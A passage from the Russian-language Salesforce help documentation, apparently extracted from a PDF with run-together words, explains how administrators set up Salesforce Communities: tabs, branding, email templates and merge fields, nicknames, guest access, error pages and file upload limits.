и возможностямилипредоставление клиентам, нуждающимся в поддержке, общего
доступа к обращениям и решениям. Не перегружайте сообщество ненужными
вкладками.

• Профили определяют доступ к вкладкам, поэтому некоторые выбранные вкладки
могут быть недоступны профилям, связанным с сообществом. В этом случае доступ
квкладкамсообществавпрофиледолженбытьпредоставленучастникамсообщества
вручную.

• Вкладки «Компоненты Lightning» не поддерживаются в сообществах.

• Пользователям Chatter Free доступна только вкладка сообщества Chatter.

Чтобыпредоставить участникам сообщества доступ к нужнымфункциям, рекомендуем
выбрать соответствующиевкладкиво времянастройки. Кроме того, выбранныевкладки
определяют навигацию по сообществу в приложении Salesforce1.
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1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Все
сообщества». Затем щелкните ссылку «Управление» напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Вкладки».

Совет: При использовании одного из предварительно настроенныхшаблонов вместо шаблона «Вкладки
Salesforce + Visualforce» меню «Вкладки»неотображаетсяпо умолчанию. Чтобыпоказатьменю, последовательно
выберите пункты «Администрирование» > «Настройки» и установите флажок «Показать все параметры
на странице управления сообществом».

3. Выберите нужные вкладки в списке «Доступные вкладки». Чтобы выбрать несколько вкладок, нажмите клавишу CTRL.

4. Чтобы добавить вкладку, нажмите кнопку «Добавить». Чтобы удалить вкладку, выберите нужную вкладку в списке
«Выбранные вкладки» и нажмите кнопку «Удалить».

5. Чтобы изменить порядок отображения вкладок, нажмите кнопку «Вверх» или «Вниз».

Вверху списка отображается целевая вкладка сообщества. При открытии сообщества данная вкладка отображается
первой.

Приотсутствиидоступа кцелевойвкладкеиподдержкиChatter сообществоотображает вкладку «Начальная страница».
При использовании Chatter сообщество отображает вкладку Chatter.

6. Нажмите кнопку «Сохранить».

Важное замечание: Заменашаблона «Вкладки Salesforce + Visualforce» шаблономнаоснове конструктора сообществ
инициирует удаление всех вкладок из сообщества.

СМ. ТАКЖЕ:

Настройка сообществ

Переименование вкладки Chatter

Вкладки и конструктор сообществ
Не уверены относительно использования стандартных вкладок Salesforce или конструктора сообществ при настройке
сообщества? Данный раздел содержит дополнительную информацию, способствующую принятию правильного
решения.

Вкладки

Выбор шаблона «Вкладки Salesforce + Visualforce» при создании сообщества обозначает использование стандартных
вкладок Salesforce или страниц Visualforce.

За:

• Доступность некоторых параметров использования тем по умолчанию

• Поддержка всех функций продаж, обслуживания, маркетинга и платформы

• Полная поддержка возможностей платформы Force.com
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Против:

• Обязательное наличие возможности кодирования Visualforce, несмотря на предпочтительное использование
Visualforce для более расширенной настройки

• Обязательное наличие познаний в области использования платформы Force.com

Конструктор сообществ

Выбор одного из предварительно настроенныхшаблонов при создании сообщества обозначает использование
пользовательского интерфейса WYSIWYG конструктора сообществ.

За:

• Стандартное приложение, ориентированное на сообщества для самообслуживания

• Доступность дополнительных стилей CSS

• Возможность быстрого развертывания простого сообщества для самообслуживания

Против:

• Поддержка только функций самообслуживания (обращения, Salesforce Knowledge и вопросы Chatter)

• Отсутствие поддержки других функций продаж, обслуживания или платформы

• Отсутствие полной поддержки возможностей платформы

СМ. ТАКЖЕ:

Добавление вкладок в сообщество

Общие сведения о конструкторе сообществ
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Переименование вкладки Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для переименования
вкладки Chatter:
• «Настройка

приложения»

ИЛИ

«Просмотр настройки и
конфигурации»

И

Назначение в качестве
переводчика

Как правило, многие участники сообщества используют вкладку Chatter в качестве
начальной страницы. При необходимости настройте данную вкладку в соответствии с
фирменным стилем компании.

Вкладка Chatter предоставляет участникам сообщества быстрый доступ к важным
сведениям: лентыдействий, группы, закладки, файлыит. д. Многиеучастникисообщества
используют вкладку Chatter в качестве начальной страницы. Имя вкладки Chatter,
доступной в сообществе, может быть настроено в соответствии с фирменным стилем
компании (например, имя вкладки может соответствовать названию компании или
любому другому имени, узнаваемому пользователями).

1. В разделе настройки введите строку «Переименование вкладок и меток» в поле
«Быстрый поиск» ивыберитепункт<b>«Переименованиевкладокиметок»</b>.

2. Выберите стандартный язык в раскрывающемся списке «Выбрать язык» вверху
страницы.

3. Щелкните ссылку «Правка» напротив нужного сообщества в разделе «Вкладки
Chatter в сообществах».

4. Введитеимя вкладки в единственномимножественномчисле (например, «Партнер»
и «Партнеры»). При необходимости установите флажок «Начинается с гласного
звука».

5. Нажмите кнопку «Сохранить».
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Оформление сообщества в фирменном стиле

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

При использованиишаблона «Вкладки Salesforce + Visualforce» система позволяет
настраивать внешний вид сообщества на странице «Управление сообществом» путем
добавления логотипа, цветов и авторских прав компании. Данное действие позволяет
настроить сообщество в соответствии с фирменным стилем компании и повысить его
узнаваемость среди участников сообщества.

Важное замечание: При использованиишаблона самообслуживания или
конструктора сообществ для создания настраиваемых страниц взамен
использования стандартных вкладок Salesforce рекомендуем использовать
конструктор сообществ для разработки фирменного стиля сообщества.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательновыберитепункты«Администрирование» > «Фирменныйстиль».

3. Чтобывыбратьверхнийинижнийколонтитулысообщества, воспользуйтесьзначками
поиска.

Файлы, выбранные в качестве верхнего и нижнего колонтитулов, должны быть
загружены на вкладку «Документы» и быть общедоступными. Верхний колонтитул
можетбыть выбраниз HTML-, GIF-, JPG- или PNG-файлов. Нижнийколонтитулдолжен
быть выбран из HTML-файлов. Общий размер HTML-файлов не должен превышать
100 Кб. Максимальный размер GIF-, JPG- или PNG-файла составляет 20 Кб. Таким
образом, еслиразмер HTML-файлаверхнегоколонтитуласоставляет 70 Кб, торазмер HTML-файланижнегоколонтитула
не должен превышать 30 Кб.

Выбранный верхний колонтитул заменяет логотип Salesforce, расположенный под общим верхним колонтитулом.
Выбранный нижний колонтитул заменяет стандартный нижний колонтитул Salesforce, содержащий авторские права
и положения о конфиденциальности.

4. Чтобы выбрать предопределеннуюцветовую схему, щелкните «Выбрать цветовуюсхему». Чтобы выбрать цвет на
палитре, щелкните текстовое поле напротив полей раздела страницы.

Обратите внимание, что некоторые выбранные цвета также применяются к странице входа сообщества и влияют на
внешний вид сообщества в приложении Salesforce1.

Область отображенияВыбор цвета

Вверху страницы, подчернымобщимверхнимколонтитулом. HTML-файл, выбранныйвполе
«Верхний колонтитул», переопределяет данный выбор цвета.

Вверху страницы входа.

Фон верхнего
колонтитула

Страница входа в приложении Salesforce1.

Цвет фона для всех страниц сообщества, включая страницу входа.Фон страницы

Выбранная вкладка.Первый
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Область отображенияВыбор цвета

Верхние границы списков и таблиц.

Кнопка на странице входа.

Второй

Цвет фона для верхних колонтитулов разделов на страницах просмотра и редактирования
сведений.

Третий

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка сообществ

Настройка сообщений электронной почты, отправляемых из сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Сообщения эл. почты сообщества поддерживают настройку сведений об отправителе,
фирменного стиля сообщений эл. почты Chatter ишаблонов.Настройка может быть
выполнена посредством пользовательского интерфейса или объекта Network в
интерфейсах Salesforce API.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Сообщения эл.
почты».

3. Введитенастраиваемыезначенияименииадресаотправителядлязаменыстандартных
значений.

Прим.: При изменении адреса эл. почты отправителя система отправляет
проверочное сообщение эл. почты на новый адрес. Изменение откладывается,
а система продолжает использовать текущий адрес до завершения проверки.
Чтобы активировать новый адрес, щелкните ссылку подтверждения в
полученном сообщении эл. почты. При вводе другого нового адреса до
завершения проверки предыдущего адреса эл. почты система сохраняет и
использует последнее введенное значение для проверки.

При вводе настраиваемого значения для адреса отправителя и включениифункции
перенаправленияэл. почтысообщенияэл. почтыChatterбудутиспользоватьфункцию
перенаправления.

4. Настройте содержимое нижнего колонтитула сообщений эл. почты Chatter.
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Важное замечание: Логотип и текст нижнего колонтитула являются обязательными. Помните перечисленные
ниже рекомендации.

• По умолчанию все сообщения эл. почты Chatter отображают логотип Chatter и сведения Salesforce, которые
могут быть заменены логотипом и сведениями текущей организации.

• Чтобы восстановить стандартный логотип или текст нижнего колонтитула, воспользуйтесь интерфейсом
API, который позволяет задавать данным полям значение null.

a. Выберите логотип для замены стандартного логотипа Chatter.

Логотипдолженбытьзагруженнавкладку «Документы» ипомеченфлажком «Доступен внешне как изображение».
Рекомендуем использовать изображения размером не более 150 x 50 пикселов на прозрачномфоне.

b. Введитенастраиваемыйтекстдлиноюнеболее 1 000 символовдлязаменыстандартноготекстанижнегоколонтитула.

Стандартный текст содержит имя и физический адрес компании Salesforce. Согласно действующему
законодательству по защите от нежелательной почты, настоятельно рекомендуем добавить физический адрес
организации.

5. Чтобы отправить сообщение эл. почты пользователям, добавленным в сообщество, установитефлажок «Отправить
приветственное сообщение эл. почты».

Важное замечание: Приветственные сообщения эл. почты содержат регистрационные данные для внешних
участников. При отсутствии данного флажка имена пользователей и пароли должны отправляться внешним
участникам вручную.

Срок действия ссылки, доступной в приветственном сообщении эл. почты, составляет 6 месяцев.

Ниже перечислены условия, при выполнении которых система отправляет приветственные сообщения эл. почты.

• Статус сообщества «Предварительный просмотр» заменяется статусом «Активно». Сообщения эл. почты не
отправляются при статусе сообщества «Предварительный просмотр» или «Неактивно».

• Администратор добавляет новый профиль или набор полномочий в сообщество со статусом «Активно».

• Пользователю назначается профиль или набор полномочий, являющийся частью сообщества со статусом
«Активно».

Прим.: Пользователи, которымназначаетсяпрофильилинаборполномочий, являющийсячастьюнескольких
сообществ, получают приветственное сообщение эл. почты от каждого сообщества. Первое сообщение эл.
почты содержит регистрационные данные; последующие сообщения эл. почты, отправляемые другими
сообществами, содержат только ссылку на сообщество.

6. Воспользуйтесьстандартнымишаблонамиэл. почтыилизначкамипоискадлявыборадругихшаблоновприветственных
сообщений эл. почты. Если организация используетшаблоны эл. почты для отправки комментариев к обращениям,
выберите нужныйшаблон (стандартныйшаблон отсутствует).

Ссылки на сброс пароля, инициированные пользователями, действуют в течение 24 часов. Срок действия ссылок на
сброспароля, инициированныхадминистратором, неограничен.Принеобходимостинастройтелюбойстандартный
шаблон.

Прим.: При настройке содержимого шаблона эл. почты рекомендуем использовать поле слияния
{!Community_Url}. Данное настраиваемое поле слияния генерирует уникальный URL-адрес сообщества,
гарантирующий, что отправленные сообщения эл. почты содержат URL-адреса с правильными параметрами и
направляют пользователей в соответствующее сообщество для входа или изменения пароля.

7. Нажмите кнопку «Сохранить».
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Сообщения электронной почты, отправленные в результате действия утверждений, бизнес-правил или комментариев к
обращениям, отсылаютсяучастникамсообщества. Например, еслиотправкасообщенияэлектроннойпочтыинициируется
действием бизнес-правила, все получатели группируются на основе членства в сообществе, затем одно сообщение
электроннойпочтыотправляетсякаждойгруппе. Еслипользовательявляетсяучастникомнесколькихактивныхсообществ,
то сообщения электронной почты отправляются из самого давнего активного сообщества.

Ниже перечислены поля API-объекта Network, которые также позволяют настраивать сообщения эл. почты сообщества.

• CaseCommentEmailTemplateId: кодшаблона эл. почты, используемогодляотправкикомментариякобращению.

• ChangePasswordEmailTemplateId: код шаблона эл. почты, используемого для уведомления пользователя о
сбросе пароля.

• EmailFooterLogoId: код документа, отображающегося как изображение в нижнем колонтитуле сообщений эл.
почты Chatter сообщества.

• EmailFooterText: текст, отображающийся в нижнем колонтитуле сообщений эл. почты Chatter сообщества.

• EmailSenderAddress: только для чтения. Адрес эл. почты, используемый для отправки сообщений эл. почты
сообщества.

• EmailSenderName: имя, используемое для отправки сообщений эл. почты сообщества.

• ForgotPasswordEmailTemplateId: код шаблона эл. почты, используемого для восстановления пароля.

• NewSenderAddress: новыйнепроверенныйадрес эл. почты, предназначенныйдляполя EmailSenderAddress.
Значениеполя NewSenderAddress перезаписывает значениеполя EmailSenderAddress послеподтверждения
пользователем запроса на изменение адреса эл. почты отправителя. Значение данного поля становится адресом эл.
почты, используемым для отправки сообщений эл. почты сообщества.

– Нулевое значение, заданное полю NewSenderAddress до завершения проверки нового адреса эл. почты,
отменяет запрос на проверку.

– Замена значения поля EmailSenderAddress новым проверенным адресом инициирует автоматическую
перезапись поля NewSenderAddress нулевым значением.

– При вводе другого нового адреса до завершения проверки предыдущего адреса эл. почты система сохраняет и
использует последнее введенное значение для проверки.

• OptionsSendWelcomeEmail: данное поле определяет необходимость отправки приветственного сообщения эл.
почты при добавлении нового пользователя в сообщество.

• WelcomeEmailTemplateId: кодшаблона эл. почты, используемого для отправки приветственных сообщений эл.
почты новым участникам сообщества.

СМ. ТАКЖЕ:

Поля слияния для сообществ

Настройка сообществ
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Поля слияния для сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При необходимости добавьте поля слияния в шаблоны эл. почты сообществ.

При включении сообществ Salesforce в организации система создает три текстовых
шаблона эл. почты.

• Сообщества: сообщение эл. почты об изменении пароля

• Сообщества: сообщение эл. почты о восстановлении пароля

• Сообщества: приветственное сообщение эл. почты

Данные шаблоны используют уникальные поля слияния. Данные поля слияния
недоступны для выбора и копирования при редактированиишаблона, но могут быть
добавлены вручную. Данные поля слияния работают эффективно только при их
использовании в текстовом или HTML-шаблоне, выбранном для сообщества.

ОписаниеИмя поля

Имя сообщества, введенное при создании сообщества.{!Community_Name}

URL-адрес для страницы входа сообщества. Например,
https://acme.force.com/partners/login.

Если данное поле слияния используется приветственным
сообщением эл. почты, которое отправляется новому

{!Community_Url}

внешнемупользователю, то URL-адресдополняетсяссылкой
на страницу восстановления пароля.

Данное поле заполняется только при выполнении одного
из перечисленных ниже условий.

• Шаблон, содержащий данное поле, выбирается как
шаблон приветственного сообщения эл. почты для
сообщества и устанавливается флажок «Отправить
приветственное сообщение эл. почты».

• Шаблон, содержащий данное поле, выбирается как
шаблон сообщения эл. почты об изменении или
восстановлении пароля, а сообщение эл. почты
отправляется внешнему пользователю, являющемуся
участником сообщества.

Имяпользователяполучателяприветственногосообщения
эл. почты.

{!Receiving_User.Username}

При необходимости создайте настраиваемыешаблоны эл. почты для сообществ посредством Visualforce, позволяющего
использоватьнастраиваемыйфирменныйстиль компаниившаблонах эл. почты. Прииспользованиишаблона эл. почты
Visualforce рекомендуем использовать тип глобального поля слияния $Network и его свойства (см. таблицу ниже).

ОписаниеИмя поля

Имя сообщества, введенное при создании сообщества.$Network.Name
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ОписаниеИмя поля

URL-адрес для страницы входа сообщества. Например,
https://acme.force.com/partners/login.

Если данное поле слияния используется приветственным
сообщением эл. почты, которое отправляется новому

$Network.NetworkUrlForUserEmails

внешнемупользователю, то URL-адресдополняетсяссылкой
на страницу восстановления пароля.

Данное поле заполняется только при его использовании в
шаблоне эл. почты Visualforce для одного из трех типов эл.
почты, поддерживаемых сообществами.

Еслисообществоиспользуетобращения, утвержденияилибизнес-правила, то сообщенияэл. почты, созданныенаоснове
шаблона эл. почты, использующего поля слияния {!<any_object>.Link} или {!Case.Link}, содержат ссылку
на запись в сообществе. Если получатель сообщения эл. почты является участником нескольких активных сообществ,
то ссылка открывает самое давнее активное сообщество. При выборе ссылки в сообщении эл. почты после выполнения
входавсообществоссылкаоткрываетсоответствующеесообщество. Еслипользовательнеявляетсяучастникомсообщества,
то ссылкаоткрывает внутреннююорганизацию. Еслипользователь является участникомпорталаи сообщества, то ссылка
открывает сообщество.

ОписаниеИмя поля

Область использования:{!Case.Link}

• Уведомленияконтактовиответственныходобавлении
комментариев к обращениям

• Уведомления контактов о создании и обновлении
обращений

Область использования:{!<any_object>.Link}

• Запросынаутверждение, отправленныеответственным
за утверждения и делегированным ответственным за
утверждения

• Электронные предупреждения бизнес-правила

Чтобы проверить использование полей стандартных писем в шаблонах электронных писем, откройте настройки и
введите строку «Шаблоны эл. почты» в поле «Быстрый поиск», затем выберите пункт «Шаблоны эл. почты», после
чего щелкните «Правка» напротив любого шаблона.

СМ. ТАКЖЕ:

Настройка сообщений электронной почты, отправляемых из сообществ

Управление шаблонами эл. почты

Настройка сообщений электронной почты, отправляемых из сообществ

Управление шаблонами эл. почты
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Включение настроек сообщества

Настройка настроек сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Сообщество позволяет включать или выключать возможность отображения прозвищ,
доступ к сообществу без входа, поддержку личных сообщений Chatter, функцию
присвоения пометок содержимому, поддержку уровней репутации, возможность
отображения знатоков и ограничения для файлов.

Для использования этих параметров в организации должна быть включена поддержка
Chatter.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Настройки».

3. Измените нужные параметры.

Общие сведения

• Разрешите отображение прозвищ взамен полных имен. Включение
возможностиотображенияпрозвищвсообществе гарантируетповышенную
конфиденциальность и защиту удостоверений участников. Рекомендуем
использовать данную возможность в общедоступных сообществах,
позволяющихнезарегистрированнымпосетителямпросматриватьпрофили
участников.

• Разрешите пользователям-гостям доступ к общедоступному содержимому
сообщества без выполнения входа. При предоставлении такого доступа
компанияможетускоритьпроцессвнедрениясообщества, позволяяклиентамсамостоятельнонаходитьнужную
информацию без входа или обращения в службу поддержки.

• Включите сообщения Chatter, позволяющие пользователям Chatter обмениваться друг с другом
конфиденциальнойинформацией. ЧтобыпредоставитьвнешнимпользователямдоступксообщениямChatter,
администратор должен включить вкладку Chatter.

• Разрешите использование настраиваемых страниц ошибок Visualforce для предоставления проверенным
пользователям возможности просмотра настраиваемых фирменных страниц ошибок Visualforce.

• Покажите все параметры, доступные на странице «Управление сообществом», которые по умолчанию
скрываютсянастройкамисообщества. Включениеданногопараметрапереопределяетдинамическуюнавигацию,
используемую на странице «Управление сообществом».

Управление сообществом

• Разрешите участникампомечать сообщения, комментарииилифайлыдлямодерированиявнутрисообщества.
Данный параметр позволяет участникам помечать элементы, содержащие недопустимую лексику или
конфиденциальную информацию.

• Включитерепутацию, позволяющуюменеджерамсообществанастраиватьсистемуочков, котораяиспользуется
для вознагражденияучастников сообщества. Соответствующиеуровнирепутации, отображаемыепрофилями
пользователей, настраиваются администраторами.
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• Включите возможность отображения знатоков, позволяющую просматривать список знатоков темы и
подтверждать компетентность отдельных пользователей.

Файлы

• Установите максимальный размер в МБ для файлов, загружаемых в сообщество.

• Укажите типыфайлов, которые можно загружать в сообщество.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Отображение прозвищ взамен полных имен в сообществе

Включение общего доступа к содержимому сообщества

Использование настраиваемых страниц ошибок Visualforce для проверенных пользователей

Включение функции присвоения пометок для пользователей сообщества

Включение репутации в сообществе

Ограничения для файлов в сообществе

Отображение прозвищ взамен полных имен в сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
возможности отображения
прозвищ:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Включениевозможностиотображенияпрозвищвсообществегарантируетповышенную
конфиденциальность и защиту удостоверений участников. Рекомендуем использовать
данную возможность в общедоступных сообществах, позволяющих
незарегистрированным посетителям просматривать профили участников.

Поумолчаниювсемпользователямназначаютсяпрозвища, которыепринеобходимости
могут быть изменены путем последовательного выбора пунктовИмя пользователя  >
«Редактироватьконтактныеданные» вобщемверхнемколонтитулеилипосредством
профиля пользователя Chatter.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Настройки».

3. Установите флажок «Включить отображение прозвищ» и нажмите кнопку
«Сохранить».

Прозвища отображаются вместо имен и фамилий практически во всех областях
сообщества, включая ленты, списковые представления, группы, результаты поиска,
рекомендации, профилипользователейифайлы. Кроме того, прозвищаотображаются
приложениемSalesforce1илюбымисайтамисообщества, активированнымипосредством
шаблонов сообщества.

Ниже перечислены некоторые ограничения по отображению прозвищ.

• Личные сообщения отображают полные имена. При необходимости выключите
личные сообщения.

3456

Основы настройки сообществаНастройка и управление сообществами Salesforce



• Записи и поля записей для поиска пользователей отображают полные имена. Помните, что доступность записей и
пользователей может контролироваться посредством правил общего доступа.

• Мобильные уведомления в приложении Salesforce1 отображают полные имена. При необходимости выключите
мобильные уведомления в приложении Salesforce1.

• Несмотря на возможность поиска по именам, фамилиям и полным именам, результаты поиска отображают только
прозвища. Рекомендации по автозаполнению при глобальном поиске и список «Недавние элементы» отображают
любыеимена, фамилиииполныеимена, которыеужеиспользовалисьдляпоиска, либопросматривалисьпосредством
записи или другой области.

СМ. ТАКЖЕ:

Настройка настроек сообщества

Включение общего доступа к содержимому сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения общего
доступа к содержимому
сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Системапозволяетвключатьдоступксодержимомусообществадляпользователей-гостей
(нелицензированных пользователей) без предварительного входа или регистрации в
сообществе.

Общедоступные сообщества позволяют применять сценарии типа «Бизнес для
потребителя» иподдерживаютрасширениецелевойаудитории. Например, сообщество
для поддержки клиентов, администрируемое производителем спортивного инвентаря.
Сообщество, котороесодержитобщедоступныедискуссии, вопросы, известныепроблемы
ирешения, опубликованныеслужбойподдержки, позволяет текущимипотенциальным
клиентам просматривать данную информацию без непосредственного обращения к
сотрудникам компании.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Настройки».

3. Установитефлажок«Разрешитьдоступбезвхода»инажмитекнопку«Сохранить».

Включение общего доступа позволяет предоставлять пользователям-гостям доступ к
группам, темам, профилям и лентам посредством Chatter in Apex, но не поддерживает
предоставлениедоступакданнымвсообществе. Чтобыразрешитьпользователям-гостям
просмотр данной информации, выполните одно из указанных ниже действий.

• Воспользуйтесь шаблоном сообщества из конструктора сообществ, который
предоставляетпользователям-гостямдоступ какминимумкодномуданномуобъекту
(например, Napili). Дополнительные инструкции см. в Руководстве по внедрению шаблонов сообщества для самообслуживания.

• Воспользуйтесь методами Chatter in Apex и страницами Visualforce для предоставления пользователям-гостям доступа
кданнымобъектам. Дополнительнуюинформациюсм. вразделе«Методы, доступныепользователям-гостямсообществ»
Руководства разработчика Force.com Apex Code и в Руководстве разработчика Visualforce.
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Прим.:

• ПривключениифункцииразвертываниянаосновепрофилядляChatterпользователи-гостимогутпросматривать
общедоступное сообщество только после включения доступа Chatter в профиле пользователя-гостя.
Дополнительнуюинформациюсм. в разделе «Управление доступомкChatterпосредствомпрофилей» справки Salesforce.

• Обозреватель Internet Explorer 9 не позволяет добавлять файлы в вопросы общедоступного сообщества.

СМ. ТАКЖЕ:

Настройка настроек сообщества

Использование настраиваемых страниц ошибок Visualforce для проверенных пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Настроенные страницы ошибок Visualforce могут отображаться для проверенных
пользователей сообщества.

Чтобы назначить или настроить страницы ошибок Visualforce, откройте меню
«Управление сообществом» в общем верхнем колонтитуле управления сообществом и
выберите пункт «Перейтик Force.com». Текущие выбранные страницыотображаются
разделом «Страницы ошибок».

Приналичиифлажка«ИспользоватьнастраиваемыестраницыошибокVisualforce»
пользователям, выполнившимвходвсообщество, отображаютсянастраиваемыестраницы
ошибокVisualforce. Приотсутствиифлажка «Использоватьнастраиваемыестраницы
ошибок Visualforce» пользователям, выполнившим вход в сообщество, отображаются
стандартныестраницыошибокVisualforce. Пользователям-гостям, которыеневыполняют
вход в сообщество, всегда отображаются настраиваемые страницы ошибок Visualforce,
независимо от наличия данного флажка.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Настройки».

3. Установите флажок «Использовать настраиваемые страницы ошибок
Visualforce» и нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Назначение страниц ошибок сайта Force.com
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Ограничения для файлов в сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для ограничения файлов в
сообществе:
• “«Управление

сообществами» ИЛИ
«Создание и настройка
сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Можно ограничить размер и типыфайлов, загружаемых участниками сообщества.
Данный список допустимых типов файлов позволяет управлять тем, что загружают
участники сообщества, а также предотвратить загрязнение сообщества
несоответствующимифайлами, присылаемыми спамерами.

Прежде чем ограничивать файлы в сообществе, следует включить функцию
модерированияфайловсообщества. Есливменю «Управлениесообществом»отсутствует
параметр для ограничения файлов, свяжитесь с Salesforce.

Ограничениядляфайловсообществаприменяютсякфайлам, загруженнымучастниками
сообщества из любого места сообщества — в сообщениях и комментариях,
непосредственно на вкладке «Файлы», а также из приложения Salesforce1. Кроме того,
можноустановитьограничениядляфайловсообществаспомощьюSOAP APIилиMetadata
API.

Не затрагиваются файлы, загруженные до установки ограничения для файлов. Однако
новые версии этих файлов должны соответствовать указанным ограничениям.

Учитывайте следующие рекомендации.

• Файл должен соответствовать ограничениям для файлов, установленным в
сообществе, в котороеон загружается. Например, еслипользователь загружаетфайл
пообращению, апосле агент загружаетновуюверсиювовнутреннююорганизацию
Salesforce, то будут применяться ограничения из сообщества пользователя.

• Наобщиевсообществефайлы, загруженныевовнутреннююорганизациюSalesforce,
не действуют ограничения для файлов сообщества.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
ивыберитепункт«Всесообщества». Затемщелкнитессылку«Управление»напротивименинужногосообщества.

2. Выберите «Администрирование» > > «Настройки» и введите ограничения в разделе «Файлы» на этой странице.

• «Максимальный размер файла в МБ» — введите число от 3 МБдомаксимального размерафайла организации.
Чтобы использовать ограничение по умолчанию 2 ГБ, оставьте это поле пустым или введите 0.

• «Разрешать файлы только этого типа» — введите расширения файлов через запятую (например,
jpg,docx,txt). Расширения можно вводить без учета регистра символов. Разрешается использовать не более
1 000 символов. Чтобы разрешить файлы всех типов, оставьте это поле пустым.

3. Нажмите кнопку «Сохранить».

После установки ограничений для файлов сообщества участники будут получать сообщение об ошибке, если файл
превысит установленный размер или в случае запрещенного расширения файла.

Припопыткезагрузитьнесколькофайловодновременно, когдаодинизнихнесоответствуетустановленнымограничениям,
ни один из файлов загружен не будет.

СМ. ТАКЖЕ:

Настройка настроек сообщества
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Включение общего верхнего колонтитула для сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

